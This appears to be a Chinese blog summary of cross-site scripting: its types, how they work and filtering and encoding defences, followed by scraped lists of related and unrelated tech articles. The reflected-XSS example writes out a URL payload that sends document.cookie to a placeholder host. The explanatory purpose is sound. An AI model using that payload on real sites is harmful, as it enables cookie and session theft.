本文由 http://www.cnblogs.com/phpstudy2015-6/p/6767032.html 整理总结而来

XSS又称CSS(cross site script),译为跨站脚本攻击,是web程序中常见的漏洞。

原理:

攻击者向有XSS漏洞的网站输入恶意代码(耗时间),当用户浏览该网站时(被动),此代码自动执行,从而攻击。

多用于盗取cookie、破坏页面结构、重定向。

优点:

几乎所有网站都有

缺点: 

1.耗时间

2.有一定的几率不成功

3.没有软件来实现自动化攻击

4.属于客户端的攻击方式

5.手法被动

6.对website有http-only、crossdomian.xml没有用(无法获取cookie)

攻击点:

类似于SQL注入攻击,理论上:所有可输入的地方,如果没有对输入数据进行处理,都存在XSS漏洞。

反射型

又称为非持久型,是最常见的XSS,原理是攻击者将注入的数据反映在响应中,因为这输入-->反馈的过程,因此称之为反射。最典型的就是一个包含XSS攻击的链接。

例如: http://www.amazon.cn/search?name=<script>document.location='http://xxx/get?cookie='+document.cookie</script>就把cookie偷走了

DOM Based XSS

从效果上来说也能称之为反射型。但其触发条件限制为: 用户可以通过交互修改浏览器的dom

前提是页面通过不安全的方式从document.location或document.URL或document.referer获取数据

注意:

1.恶意程序脚本在任何时候不会嵌入自然状态下的html页面

2.只有在浏览器没有修改URL字符时起作用,因为当url不是从地址栏输入,chrome、firefox等浏览器会自动转换document.url中的字符(例如<、>),一些老旧浏览器,例如IE6,则不会,因此很容易被攻击。

持久型

又称存储型,顾名思义,XSS攻击代码存储于数据库中,而前两种存于内存中,每次当用户打开此网页时便会执行,相比于前两者危害更大,常用语留言板,每次当用户查看留言信息时即触发。

解决方案:

过滤和编码

1.将重要的cookie标记为http only,这样document.cookie就不能获取cookie

2.表单数据规定类型,例如年龄为int、name为字母数字组合

3.对数据进行编码处理

4.移除特殊html标签,例如script、iframe

5.过滤js事件

XSS攻击总结的更多相关文章

  1. 防御XSS攻击-encode用户输入内容的重要性

    一.开场先科普下XSS 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS.恶 ...

  2. 防止XSS攻击的方法

    什么是XSS? 使用Jsoup来防止XSS攻击 Jsoup官网 Jsoup中文 maven包引入 <dependency> <groupId>org.jsoup</gro ...

  3. PHP通用的XSS攻击过滤函数,Discuz系统中 防止XSS漏洞攻击,过滤HTML危险标签属性的PHP函数

    XSS攻击在最近很是流行,往往在某段代码里一不小心就会被人放上XSS攻击的代码,看到国外有人写上了函数,咱也偷偷懒,悄悄的贴上来... 原文如下: The goal of this function ...

  4. 前端XSS攻击和防御

    xss跨站脚本攻击(Cross Site Scripting),是一种经常出现在web应用中的计算机安全漏洞,指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会 ...

  5. XSS攻击及防御

    XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性.其原理是攻击者向有XSS漏洞的网站中输入 ...

  6. XSS攻击

    什么是XSS? http://www.cnblogs.com/bangerlee/archive/2013/04/06/3002142.html XSS攻击及防御? http://blog.csdn. ...

  7. 文本XSS攻击过滤

    在FCK或百度编辑器等常用富文本编辑器中,通常是会被XSS攻击 处理方法: 文本框模拟输入了以下文本 <span style="dispaly:none" onclick=& ...

  8. XSS攻击的解决方法

    在我上一篇<前端安全之XSS攻击>文中,并没有把XSS攻击的解决办法说完整,而XSS的攻击又那么五花八门,有没有一招“独孤九剑”能够抗衡,毕竟那么多情况场景,开发人员无法一一照顾过来,而今 ...

  9. 前端安全之XSS攻击

    XSS(cross-site scripting跨域脚本攻击)攻击是最常见的Web攻击,其重点是“跨域”和“客户端执行”.有人将XSS攻击分为三种,分别是: 1. Reflected XSS(基于反射 ...

  10. textarea与XSS攻击

    textarea用法 一般是用来接收用户输入,用于提交到服务器端,例如 网站的评论框. 如果此框也用于显示服务器端回传的内容,则有如下两种用法 法1 后台直接插入 <textarea>&l ...

随机推荐

  1. HttpServletResponse 返回的json数据不是json字符串,而是json对象

    今天在改一个bug 情况: 在spring boot中写了一个类Result ,用来统一封装 各个API响应结果 , 其中重写了toString()方法来返回 json字符串 . 在正常情况下,从其它 ...

  2. Linux的信号管理

    man 7  signal  #查看信号的实用信息 常用的信号: 信号名     编号       含义SIGHUP    1       无须关闭进程而让其重读配置文件SIGINT      2  ...

  3. Linux配置python环境2,安装python

    安装锁需要的依赖包 sudo apt-get -y install gcc-5 g++-5 libc6-dev make build-essential libssl-dev zlib1g-dev l ...

  4. 将 对象序列化与反序化 (json格式)

    实体类 package com.nf.redisDemo1.entity; public class News { private long id; private String title; pri ...

  5. 部署LVS-NAT模式调度器

    创建集群服务器 [root@proxy ~]# yum -y install ipvsadm [root@proxy ~]# ipvsadm -A -t -s wrr 添加真实服务器 [root@pr ...

  6. (已解决)FVDI 2018“连接到服务器.....失败”“打不开设备”

    FVDI 2018 错误和解决方案来自网站:eobdtool.co.uk FVDI 2018发现以下错误: “连接到服务器.....失败” “设备未打开” 解决方案: 请下载FDVI 2018 V3. ...

  7. B/S文件夹上传下载组件

    在Web应用系统开发中,文件上传和下载功能是非常常用的功能,今天来讲一下JavaWeb中的文件上传和下载功能的实现. 先说下要求: PC端全平台支持,要求支持Windows,Mac,Linux 支持所 ...

  8. Linux内核概述

    概述 1. 多数服务器都是Linux,Windows只在PC方面应用. 2. .NET只能在Windows中应用,适用于中小型项目,在大型项目中应用很少.现在出现了Windows服务器(外围的服务器) ...

  9. python socket.io 坑。

    python下star最高的是https://github.com/miguelgrinberg/python-socketio 是flask作者写的.client server都有了,而且还提供了a ...

  10. 【CUDA 基础】3.2 理解线程束执行的本质(Part I)

    title: [CUDA 基础]3.2 理解线程束执行的本质(Part I) categories: CUDA Freshman tags: 线程束分化 CUDA分支 toc: true date: ...